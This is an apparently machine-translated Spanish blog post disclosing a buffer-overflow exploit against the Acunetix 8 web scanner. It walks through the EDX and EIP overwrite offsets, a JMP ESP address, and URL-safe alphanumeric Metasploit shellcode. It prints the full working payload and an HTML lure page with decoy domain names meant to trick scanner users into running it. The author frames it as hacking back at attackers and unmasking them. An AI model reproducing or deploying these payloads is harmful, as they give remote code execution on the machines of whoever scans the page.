Pwn los n00bs - Acunetix 0 días
Hace unas semanas he publicado un artículo sobre WINRAR 0day .
Ese artículo reveló una nueva vulnerabilidad que dio atacantes , la capacidad de realizar ataque de suplantación.
Muchas personas me escribieron acerca de los problemas de ese tipo de artículo ( por ejemplo).
Así
que esta vez estoy Goanna revela un nuevo 0day que ayudará a los
administradores de seguridad para proteger sus sitios web en contra de
muchos escaneos de vulnerabilidades .
Una gran cantidad de sitios de
propietarios le dirá que los números de la mayoría de las exploraciones ,
realizadas en contra de sus sitios , se llevan a cabo por herramientas
automáticas como NESSUS , Acunetix y AppScan .
Hoy 0 días se centrará en uno de la exploración web más popular del mundo , Acunetix .
El
POC será contra Acunetix 8 (build 20120704 , ya que es una de la
versión más común agrietada que se publicó en la red y utilizado por
muchos hackers novatos ) .
Esta revelación no sólo revelará una nueva
vulnerabilidad , pero demuestra una percepción completamente nueva de
tratar con los ataques externos .
En lugar de proteger sus sitios web
una y otra vez , o la compra de un nuevo WAF avanzada ( firewall de
aplicaciones web), vamos a darle a los atacantes una razón para tener
miedo , por lo que pensar dos veces antes de que se pulse el botón de
"SCAN " .
En este artículo no voy a dar un trabajo completo explotar
para todos los escenarios de exploración ni para todos los sistemas
operativos , pero una prueba de concepto que se espera que crezca en un
nuevo esfuerzo de investigación para las vulnerabilidades de las
herramientas de prueba de penetración .
Acunetix es una poderosa herramienta para el análisis y la búsqueda de vulnerabilidades en sitios web.
Muchos atacantes novatos tienden a usar esta herramienta debido a la simplicidad de su uso.
Acunetix ofrece a sus usuarios un simple escaneo de base asistente que cubre muchos aspectos del análisis de vulnerabilidades.
Uno de los aspectos es la capacidad de escanear más dominios o subdominios relacionados con el sitio web de escaneado.
Por ejemplo, si escaneamos mi blog "
http://an7isec.blogspot.co.il", obtendremos el resultado se muestra a continuación:
Después
de investigar un poco acerca de esta opción, me di cuenta de que
Acunetix inicia su asistente mediante el envío de una petición HTTP al
sitio y aprender sobre él a partir de su respuesta HTTP.
Además el
asistente aprende sobre los dominios relacionados externos de las
fuentes externas que aparecen en el sitio web, por ejemplo:
"<img Src=http://externalSource.com/someimg.png>"
"<a Href=http://externalSource.com/> </ a>"
Etc. ..
Análisis
detallado revela que si uno de la longitud del nombre de dominio
externo es más de 268 Byte de, Acunetix se estrelló, por lo que si
queremos provocar un accidente, lo único que tenemos que hacer es poner
algún tipo de fuente externa en nuestro sitio, que tener la longitud de
268 bytes de o más, decir algo como esto :
<A href= “http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA”>
Vista
rápida de esta aplicación en el depurador Inmunidad revela que EDX fue
corrompido por la cadena de formación de pelusa que causó violación de
acceso:
A
pesar de que aún la escritura corre sobre la imposición de controlador
estructurado ( SEH ) que probablemente se dará cuenta , mi consejo para
ti es no ir por ese camino , créeme que lo intenté durante varios días
sin éxito ( debido al mecanismo SHE segura ) .
Sin embargo, tenemos otro problema con este exploit , en una palabra , "ASCII" .
Acunetix obtiene su información sobre los dominios externos como una dirección URL.
Este hecho provoca que la cadena se convierte en explorador Web cordaje no daña .
Mientras ASCII acepta caracteres como :
0x22 ( ") , 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (\), 0x2F (/) y más ...
Cadena URL acepta sólo caracteres alfanuméricos imprimibles y URL convierte caracteres especiales (con pocas excepciones).
Así que si mi fuente externa contiene uno de los caracteres especiales , que se convertirán en
"% ALGO " .
Por ejemplo, el carbón "comillas" (") se convertirá en 253.232 en la memoria porque es la traducción de 22 % .
Otro ejemplo que demuestra la codificación URL es: char "por ciento" (% ), que se convierte en 253.235 en la memoria.
Sin
pasar por él, será mediante la construcción de un exploit que sólo
contiene "AZ , az, 1-0 " caracteres y unos caracteres especiales que no
se convierten en el proceso de URL ENCODE como :
" ! () = } {" .
(no es un trabajo sencillo en absoluto)
En
resumen, que tenía que encontrar una manera de arreglar el flujo de la
aplicación con el fin de evitar la SEH basado explotar (debido a la
imposibilidad de eludir la protección de seguro SHE con cadenas URL
ASCII solamente).
Por último , he encontrado una manera .
Con el fin de fijar el caudal, EDX tuvo que ser sobreescrito con una dirección de memoria legible.
Sin embargo, es importante recordar que EDX no se ha utilizado como es, pero menos 8
MOVE ECX, DWORD PTR DS: [EDX-8];
Lo
que significa que no importa qué dirección de memoria que utilizamos,
hay que añadir 8 a la dirección (en la explotación), convertir toda la
dirección en imprimir String url, y esperamos lo mejor.
Después poco de investigación, encontré tal dirección.
La
dirección estaba en "0x663030XX" y por suerte tenía la posibilidad de
convertirse en el URL de cuerda sin caracteres especiales del malo ->
"F005".
Después de jugar con el código me encontré con que la ubicación exacta de ese EDX sobrescribir, es a 268 Offset de byte de.
Así que por ahora nuestro exploit se ve así:
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
Running ACUNETIX's scan against that payload, caused the next result:
Como se puede ver arriba, la EIP se ha sobrescrito!
Parece
que la idea de fijar el flujo se ha realizado correctamente, ya que me
permitió estar en una mejor posición de ataque (EIP sobrescribir).
Junto a ella, nuestro espacio potencial para el código shell se presenta ahora en EAX y ESP.
Cuando se trata de la decisión de la elección de ESP o EAX, ESP es una mejor opción a partir de dos aspectos diferentes:
Uno, ESP está apuntando directamente al principio de la cadena de la cáscara.
Dos, hay mucho más espacio para un código shell grande para ser escrito.
Después
elegí ESP, necesitaba encontrar una instrucción de "JMP ESP" en una
dirección de memoria que podría escribirlo cadena URL (ASCII limitada
como mención arriba).
La dirección deseada fundado con éxito en la localización de: 0x7e79515d (Sxs.dll) -
(En ASCII "] Qy ~").
Después de todo eso, nuestro código shell supone que se vea así:
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
500f
= 0x66303035: localización de memoria legible para fijar el flujo de la
aplicación que fue corrompido por el desbordamiento de búfer.
] Qy ~ = 0x7e79515d (JMP ESP de Sxs.dll).
Bueno,
en este momento estamos en la etapa semifinal, que ejecuta la
aplicación en contra de la carga útil más arriba, produce el siguiente
resultado:
Yea ... aterrizamos exactamente al principio de la carga final.
El siguiente paso será el uso de la cáscara de Windows adecuado que se realizará sólo de cadena URL (ASCII limitada).
Dicha carcasa se puede generar con "Metasploit" y se llama "alfanumérico Shell".
Lo
importante a recordar durante el uso de tal carga útil, es que la
dirección de inicio de la carga debe ser presentada en uno de los
registros. Si la carga se presenta en el ESP, el primer código de
operación de la concha tiene por qué ser "PUSH ESP".
En mi prueba de
concepto, usé simple "CALC.EXE" shell code generado por "Metasploit que
me llevó a la etapa final que es, trabajar explotar!
Por otra
parte, nuestra debilidad es sin pasar con éxito la protección DEP,
simplemente seleccionando sólo las direcciones que no se compilan con
DEP.
Y debido al hecho de que la propia Acunetix no se cumple con el
DEP, este exploit debería funcionar perfectamente en Windows XP.
Después de alcanzar con éxito todos nuestros objetivos, vamos a ver en el trabajo final explotar:
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
Tenemos
que recordar que para poder disfrutar de nuestro exploit, el hacker
novato debe comprobar nuestro nombre de dominio adicional, en la lista
de los dominios adicionales en ventana del asistente Acunetix.
¿Qué podemos hacer para hacer que nuestro nombre de dominio atractivo?
Pensando en ello, se me ocurrió con dos ideas:
1:
escribir un nombre de dominio de intentar que hará que los hackers
comprobar ese dominio, como,
ADMIN.ControlMangment.1249874350345.An7isec.blogspot.co.il.
2: uso de varios dominios externos con los siguientes nombres:
"SQLINJECTION"
"XSS"
"CSRF"
Y así sucesivamente ...
Este
tipo de nombres, probablemente le dará el ojo del pirata informático la
sensación de que la ventana de la lista de dominio es en realidad una
ventana de opciones.
El abajo el código escrito demuestra que tipo de engañoso:
<html>
<img src="http://SQLInjection........................................
.....................................................................
.....................................................................
............AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB
0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9
JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKP
KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQK
UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6
LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15X
UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN
KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS.................................................
.....................................................................
.....................................................................
...">
<img src="http://CSRF................................................
.....................................................................
.....................................................................
....">
<img src="http://DeepScan............................................
.....................................................................
.....................................................................
........">
<img src="http://NetworkScan.........................................
.....................................................................
.....................................................................
...........">
<img src="http://DenialOfService.....................................
.....................................................................
.....................................................................
...............">
</html>
En conclusión,
Después de todo lo anterior, hemos creado una poderosa explotar que los hackers Newbie
sin duda enamorarse de.
Este
exploit nos dará la capacidad de hacer todo con todo lo que los hackers
desagradables Novato que escanean nuestros días los sitios y la noche,
matando a nuestro tráfico, llenar todos los formularios del sitio web de
basura y así sucesivamente ...
Además, puede ser utilizado con el
fin de reunir información de inteligencia inteligente sobre las fuerzas
hostiles que quieren atacar nuestra aplicación web.
PERO!
La
más poderosa idea que me motivó a revelar este concepto y POC, es el
hecho de que este exploit es asesino anonimato! , Porque incluso si el
atacante utiliza el proxy inteligente y seguro más en el mundo, como
"TOR" y otros, su culo se dará a conocer y el pleno control de su
máquina de escáner se ganará.
Gracias a todos por leer mi post, espero que os guste,
Buena caza, An7i
PD
Aquí hay un video de explotar plenamente funcional y script en Perl que genera costumbre explotar:
Link del video :
https://www.youtube.com/watch?v=ifv9fRzVEzw